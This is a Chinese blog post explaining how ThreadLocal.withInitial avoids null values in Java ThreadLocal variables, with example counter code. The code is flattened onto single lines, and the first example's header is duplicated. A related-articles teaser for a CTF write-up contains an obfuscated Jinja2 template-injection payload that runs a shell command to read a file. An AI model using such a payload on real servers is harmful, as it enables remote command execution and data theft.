使用ThreadLocal.withIniti避免初始化为null问题

问题描述

我们在使用threadLocal的时,使用ThreadLocal.withInitial去初始化而不是使用new ThradLocal去初始化,这是为什么呢?

问题例子

比如说,假设我们想要在每个线程中维护一个独立的计数器

import java.util.concurrent.atomic.AtomicInteger;public class ThreadLocalExample {import java.util.concurrent.atomic.AtomicInteger;public class ThreadLocalExample {private static final ThreadLocal<AtomicInteger> counterThreadLocal = new ThreadLocal<>();public static void main(String[] args) {// 创建多个线程for (int i = 0; i < 5; i++) {new Thread(() -> {// 获取 ThreadLocal 变量并递增计数器int count = counterThreadLocal.get().getAndIncrement();System.out.println("线程" + Thread.currentThread().getId() + " 计数: " + count);}).start();}}
}

这个程序实际会报错

在这里插入图片描述

首先要说明一下,这个代码并不是实现多线程的累加

import java.util.concurrent.atomic.AtomicInteger;public class MultiThreadedIncrement {private static final AtomicInteger counter = new AtomicInteger(0);public static void main(String[] args) {// 创建多个线程进行累加for (int i = 0; i < 5; i++) {new Thread(() -> {// 在多线程环境下使用AtomicInteger进行累加for (int j = 0; j < 10000; j++) {counter.incrementAndGet();}}).start();}// 等待所有线程执行完毕try {Thread.sleep(1000); // 这里仅为示例,实际使用中可能需要更精确的等待方式} catch (InterruptedException e) {e.printStackTrace();}// 输出最终累加结果System.out.println("累加结果: " + counter.get());}
}

多线程的累加是这样的,一定要注意。而本案例是想实现每个线程独立维护一个计数器,互不干涉。
或者我们这样来写大家可以看的更清楚
import java.util.concurrent.atomic.AtomicInteger;

public class ThreadLocalIncrement {private static final ThreadLocal<AtomicInteger> threadLocalCounter = ThreadLocal.withInitial(AtomicInteger::new);public static void main(String[] args) {// 创建多个线程进行递增for (int i = 0; i < 5; i++) {new Thread(() -> {// 获取当前线程的计数器AtomicInteger counter = threadLocalCounter.get();// 在每个线程中递增计数器for (int j = 0; j < 10000; j++) {counter.incrementAndGet();System.out.println("线程" + Thread.currentThread().getId() + " 计数: " + counter.get());}}).start();}}
}

在这里插入图片描述

我们知道thread底层是基于treadmap实现的

ThreadLocal 使用了一个名为 ThreadLocalMap 的内部类,它是 Thread 类的一个字段。

每个线程都有自己的 ThreadLocalMap 实例,它是一个自定义的散列表结构。在 ThreadLocalMap 中,ThreadLocal 实例作为键,与之关联的值则存储在相应的槽位中。每个 ThreadLocal 实例在自己所属线程的 ThreadLocalMap 中有一个条目。

当你调用 ThreadLocal 的 get 方法时,实际上是在当前线程的 ThreadLocalMap 中查找与该 ThreadLocal 实例关联的值。而调用 set 方法则是在当前线程的 ThreadLocalMap 中设置对应的关联值。

这种设计的好处在于,每个线程都有自己独立的存储空间,不需要锁定或同步,从而提高了并发性能。

总体来说,虽然底层并不直接使用标准的 Map 实现,但可以将 ThreadLocalMap 看作是一个简化版的散列表

解决

我们可以简单理解为这就是一个map,key就是每个线程的threadLacle实例,value就是要存的值
实际上,每个线程在开始执行时,实例化threadLocal并没有初始化值,而是一开始threalLocal的值就是null,所以在执行get方法的时候实际上取得是一个null值。所以null.getAndIncrement()自然会报错
我们可以这样修改

import java.util.concurrent.atomic.AtomicInteger;public class ThreadLocalExample {private static final ThreadLocal<AtomicInteger> counterThreadLocal = new ThreadLocal<>();public static void main(String[] args) {// 创建多个线程for (int i = 0; i < 5; i++) {new Thread(() -> {// 检查 ThreadLocal 变量是否为 null,如果为 null,则设置初始值if (counterThreadLocal.get() == null) {counterThreadLocal.set(new AtomicInteger());}// 获取 ThreadLocal 变量并递增计数器int count = counterThreadLocal.get().getAndIncrement();System.out.println("线程 " + Thread.currentThread().getId() + " 计数: " + count);}).start();}}
}

在这里插入图片描述
或者我们也可以使用ThreadLocal.withInitial来避免这个问题

import java.util.concurrent.atomic.AtomicInteger;public class ThreadLocalExample {private static final ThreadLocal<AtomicInteger> counterThreadLocal = ThreadLocal.withInitial(AtomicInteger::new);public static void main(String[] args) {// 创建多个线程for (int i = 0; i < 5; i++) {new Thread(() -> {// 获取 ThreadLocal 变量并递增计数器int count = counterThreadLocal.get().getAndIncrement();System.out.println("线程 " + Thread.currentThread().getId() + " 计数: " + count);}).start();}}
}

总结

在上述例子中,counterThreadLocal 是一个 ThreadLocal 变量,初始值是一个 AtomicInteger 计数器。每个线程第一次访问 counterThreadLocal 时,都会调用 AtomicInteger::new 获取一个新的 AtomicInteger 实例作为初始值。每个线程都有自己独立的计数器,互不干扰。

如果我们使用 new ThreadLocal<>(); 创建 ThreadLocal 实例,它的初始值将为 null。这样,每个线程第一次访问 ThreadLocal 变量时都会得到 null。这可能需要额外的逻辑来处理初始值,增加了出错的可能性。所以,使用 ThreadLocal.withInitial 提供了一种更清晰和线程安全的方式来初始化 ThreadLocal 变量。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/221249.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【EI会议征稿】第五届机械仪表与自动化国际学术会议(ICMIA 2024)

第五届机械仪表与自动化国际学术会议&#xff08;ICMIA 2024&#xff09; The 5th International Conference on Mechanical Instrumentation and Automation 2024年第五届机械仪表与自动化国际学术会议&#xff08;ICMIA 2024&#xff09;定于2024年4月5-7日在中国武汉隆重…

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…

【数据结构】栈和队列超详解!(Stack Queue)

文章目录 前言一、栈1、栈的基本概念2、栈的实现&#xff08;数组实现&#xff09;3、栈的基本操作3.1 栈的结构设计3.2 栈常见的基本函数接口 4、栈的实现4.1 初始化栈4.2 栈的销毁4.3 入栈4.4 出栈4.5 判空4.6 长度4.7 获取栈顶元素 完整代码Stack.hStack.cTest.c 二、队列1、…

HTTP 500错误:服务器内部错误,原因及解决方案

大家好&#xff0c;今天我们来聊聊一个常见的问题——HTTP 500错误&#xff0c;也就是服务器内部错误。这个错误就像是一个神秘的魔法&#xff0c;时不时地出现在你的网页上&#xff0c;让你的用户和你在一片懵逼中互相猜疑。 首先&#xff0c;我们来了解一下这个错误。HTTP 5…

大力说企微入门系列第四课:规则设计

当公司的企业微信体系建立起来以后&#xff0c;相应的人员、角色、权限已经配置&#xff0c;接下来是否就可以开始进入运营阶段那。 理论上来说是可以的&#xff0c;但是可能会引起混乱。所谓没有规矩不成方圆&#xff0c;要想运营顺利&#xff0c;还需要一些规则的设计。 01…

查找两个总和为特定值的索引(蓝桥杯)

#include <stdio.h> int main(){int n;scanf("%d",&n);int s[n];for(int i 0 ; i < n ; i)scanf("%d",&s[i]);int k;scanf("%d",&k);int sum 0;int t0,h;int st[101]; for(int i 0 ; i < n ; i)st[i] 0; //标记数…

垃圾回收 (GC) 在 .NET Core 中是如何工作的?

提起GC大家肯定不陌生&#xff0c;但是让大家是说一下GC是怎么运行的&#xff0c;可能大多数人都不太清楚&#xff0c;这也很正常&#xff0c;因为GC这东西在.NET基本不用开发者关注&#xff0c;它是依靠程序自动判断来释放托管堆的&#xff0c;我们基本不需要主动调用Collect(…

【论文阅读】O’Reach: Even Faster Reachability in Large Graphs

Hanauer K, Schulz C, Trummer J. O’reach: Even faster reachability in large graphs[J]. ACM Journal of Experimental Algorithmics, 2022, 27: 1-27. Abstract 计算机科学中最基本的问题之一是可达性问题&#xff1a;给定一个有向图和两个顶点s和t&#xff0c;s可以通过…

C++进阶学习:map和set的实现

我们知道set和map的底层其实是红黑树&#xff0c;在学习完红黑树这个数据结构之后&#xff0c;我们开始简单模拟实现一下这两个STL容器 目录 1.set和map的泛型编程思想 2.红黑树的结构 2.1.迭代器的实现 2.2.迭代器的 operator 2.3.迭代器的代码 2.4.set和map迭…

资产管理系统部署及库存告警

1.需求&#xff1a;对电脑&#xff0c;办公设备&#xff0c;耗材等做资产盘点和整理&#xff0c;并对库存预警。 2.选型&#xff1a;snipeit 3.部署 #!/bin/bash docker run -d -p 80:80 --name"snipeit" --env-filesnipeit.env --mount sourcesnipe-vol,dst/var/l…

【算法系列篇】递归、搜索和回溯(三)

文章目录 前言什么是二叉树剪枝1. 二叉树剪枝1.1 题目要求1.2 做题思路1.3 代码实现 2. 验证二叉搜索树2.1 题目要求2.2 做题思路2.3 代码实现 3. 二叉搜索树中第k小的元素3.1 题目要求3.2 做题思路3.3 代码实现 4. 二叉树的所有路径4.1 题目要求4.2 做题思路4.3 代码实现 前言…

(八)数组和函数实践:扫雷游戏

目录 1. 扫雷游戏分析和设计 1.1 扫雷游戏的功能说明 1.2 游戏的分析和设计 1.2.1 数据结构的分析 1.2.2 文件结构设计 2. 扫雷游戏的代码实现 3. 如何生成用户版本 4. 完整的排雷程序 1. 扫雷游戏分析和设计 1.1 扫雷游戏的功能说明 1&#xff09;使用控制台实现经典…

数据结构和算法-栈

数据结构和算法-栈 文章目录 数据结构和算法-栈1. 栈的介绍2. 栈的应用场景3. 栈的快速入门3.1 用数组模拟栈3.2 课堂作业-用链表模拟栈 4. 栈实现综合计算器4.1 课堂作业-加入小括号5. 栈的三种表达式-**前缀、中缀、后缀表达式(逆波兰表达式)**5.1 前缀表达式(波兰表达式)5.1…

中低压MOS 适用于电子烟等产品—— 较小的开关损耗 过流能力好

工作原理&#xff1a; 当用户在吸嘴处抽吸时&#xff0c;气流经过进气孔&#xff0c;穿 过电路板上方的咪头&#xff0c;咪头即产生电信号&#xff0c;驱 动芯片板&#xff0c;让电池供电给雾化芯&#xff0c;雾化芯中的 发热丝将电能转化成热能&#xff0c;当温度达到雾化液…

LeetCode-2487. 从链表中移除节点【栈 递归 链表 单调栈】

LeetCode-2487. 从链表中移除节点【栈 递归 链表 单调栈】 题目描述&#xff1a;解题思路一&#xff1a;可以将链表转为数组&#xff0c;然后从后往前遍历&#xff0c;遇到大于等于当前元素的就入栈&#xff0c;最终栈里面的元素即是最终的答案。解题思路二&#xff1a;递归&am…

【一步到位】汽车过户全攻略:轻松搞定,告别繁琐流程

校长车行是一家昆明二手车代办公司&#xff0c;今天我们要聊一聊一个让很多人头疼的问题——汽车过户。相信很多朋友在购买二手车或者需要将车辆转让给他人时&#xff0c;都会遇到这个繁琐的流程。那么&#xff0c;如何才能轻松搞定汽车过户呢&#xff1f;接下来&#xff0c;就…

(0-1)分布

假设离散型随机变量X只可能取到0、1两个值&#xff0c;它的分布律为&#xff1a; &#xff0c;其中&#xff0c; 那么称X服从参数为p的0-1分布&#xff0c;也叫两点分布。 其实上面公式就是将下面两个式子写在一起&#xff1a;

【Hive_02】查询语法

1、基础语法2、基本查询&#xff08;Select…From&#xff09;2.1 全表和特定列查询2.2 列别名2.3 Limit语句2.4 Where语句2.5 关系运算函数2.6 逻辑运算函数2.7 聚合函数 3、分组3.1 Group By语句3.2 Having语句3.3 Join语句&#xff08;1&#xff09;等值与不等值Join&#x…

SUPER-ADAM: Faster and Universal Framework of Adaptive Gradients

这周看了啥&#xff1a; 本周主要来看看别人是如何证明收敛的&#xff0c;围绕算法SUPER-ADAM 的更新过程和论文后面的证明&#xff0c;&#xff08;这篇证明比上周的亲切多了&#xff0c;我哭死&#xff09;仔细看了证明每一步的推导&#xff08;至于作者如何想出的&#xff…

verilog基础语法之比较器

逻辑运算符以及逻辑电路概述 逻辑运算符常用于条件判断语句&#xff0c;输出为布尔值True/False。逻辑运算符是基于比较器构造的。比较器电路是产生逻辑比较的本质&#xff1b;比较器电路的复杂度与位宽和比较类型相关&#xff1b;一般情况下可以先构造基本比较器&#xff0c;…